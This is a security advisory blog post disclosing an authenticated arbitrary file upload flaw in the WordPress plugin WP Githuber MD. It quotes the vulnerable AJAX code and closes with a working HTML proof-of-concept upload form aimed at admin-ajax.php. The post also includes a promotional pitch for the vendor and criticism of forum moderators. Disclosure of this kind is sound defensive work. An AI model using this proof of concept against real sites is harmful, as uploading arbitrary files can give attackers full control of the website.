Our Proactive Monitoring Caught an Authenticated Arbitrary File Upload Vulnerability in WP Githuber MD
One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that we caught a more limited variant of one of the most likely to be exploited types of vulnerabilities as it was being introduced in to a plugin. That being an authenticated arbitrary file upload vulnerability in the plugin WP Githuber MD, which in this case would provide hackers who have access to a WordPress account with at least the Author role with the ability to gain complete control of the website.
This vulnerability is yet another good reason to check plugins you use through our Plugin Security Checker since it can alert you if plugins you use possibly contain a similar issue (and possibly contain a lot of other serious vulnerabilities). The check that flagged this is part of a recent improvement of our detection possible file upload vulnerabilities, so even if you checked the plugins before, you might find they are impacted. From there if you are a paying customer of our service you can suggest/vote for it to receive a security review that will check over that or you can order the same type of review separately.
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.
Technical Details
With the plugin’s Image Paste module enabled, the function admin_githuber_image_paste() is accessible through WordPress’ AJAX functionality to anyone logged as Author level user or above:
43 44 45 46 47 48 | $allowed_roles = array( 'editor', 'administrator', 'author' ); // For security reasons, only authorized logged-in users can upload images. if ( array_intersect( $allowed_roles, $user->roles ) || is_super_admin() ) { add_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue_scripts' ) ); add_action( 'wp_ajax_githuber_image_paste', array( $this, 'admin_githuber_image_paste' ) ); |
When that function runs it saves the specified by FILE input “file” to the filesystem of the website:
77 | $file = $_FILES['file']; |
99 | move_uploaded_file( $file['tmp_name'], $upload_path . '/' . $filename ); |
No restrictions are placed on what kinds of files can be uploaded.
There is no protection cross-site request forgery (CSRF), but exploiting it through that runs in to the issue that the uploaded files is given a weakly unique name:
78 | $filename = uniqid() . '.' . ( pathinfo( $file['name'], PATHINFO_EXTENSION ) ? : 'png' ); |
That name is returned when the request is made, so when the request is intentionally made the requester would know what it is:
100 | $response['filename'] = $online_path . '/' . $filename; |
105 | echo json_encode( $response ); |
Proof of Concept
The following proof of concept will upload the selected file to a location specified in the response to the request, when logged in as an Author-level user, when the plugin’s Image Paste module is enabled.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=githuber_image_paste" method="POST" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" value="Submit" /> </form> </body> </html>